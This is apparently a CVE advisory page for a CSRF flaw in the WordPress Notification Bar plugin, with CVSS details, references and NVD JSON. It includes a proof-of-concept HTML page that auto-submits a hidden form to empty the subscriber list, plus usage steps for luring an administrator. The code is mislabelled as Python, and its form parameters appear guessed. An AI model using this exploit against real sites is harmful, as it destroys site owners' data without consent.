CVE-2025-9895

Description

The Notification Bar plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.2. This is due to missing or incorrect nonce validation on the 'subscriber-list-empty.php' file. This makes it possible for unauthenticated attackers to empty the subscriber list via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Notification Bar插件（simple-bar）所有版本 <= 2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-9895 PoC - CSRF to empty subscriber list in WordPress Notification Bar plugin -->
<!-- Save as HTML and host on attacker-controlled server, then trick admin into visiting -->

<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <!-- Hidden auto-submitting form targeting the vulnerable subscriber-list-empty.php endpoint -->
    <form id="csrf-form" action="http://target-wordpress-site.com/wp-content/plugins/simple-bar/subscriber-list-empty.php" method="POST">
        <!-- No nonce field needed - this is the vulnerability -->
        <input type="hidden" name="action" value="empty_list" />
        <input type="hidden" name="confirm" value="1" />
    </form>

    <script>
        // Auto-submit the form when the admin visits this page
        document.getElementById('csrf-form').submit();
    </script>

    <!-- Alternative: Use an img tag for GET-based CSRF if the endpoint accepts GET -->
    <!-- <img src="http://target-wordpress-site.com/wp-content/plugins/simple-bar/subscriber-list-empty.php?action=empty_list" style="display:none" /> -->
</body>
</html>

<!-- 
Usage:
1. Replace "http://target-wordpress-site.com" with the actual target WordPress site URL
2. Host this HTML on an attacker-controlled server
3. Trick a logged-in WordPress administrator into visiting the page
4. The admin's browser will automatically submit the form with their authentication cookies
5. The subscriber list will be emptied without the admin's knowledge
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-9895
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-9895
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-9895/
[4] VulDB https://vuldb.com/cve/CVE-2025-9895
[5] https://plugins.trac.wordpress.org/browser/simple-bar/tags/2.2/subscriber-list-empty.php#L3
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/c9364785-1174-46d1-8671-001b755361a6?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-9895", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:50.473", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Notification Bar plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.2. This is due to missing or incorrect nonce validation on the 'subscriber-list-empty.php' file. This makes it possible for unauthenticated attackers to empty the subscriber list via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-bar/tags/2.2/subscriber-list-empty.php#L3", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c9364785-1174-46d1-8671-001b755361a6?source=cve", "source": "[email protected]"}]}}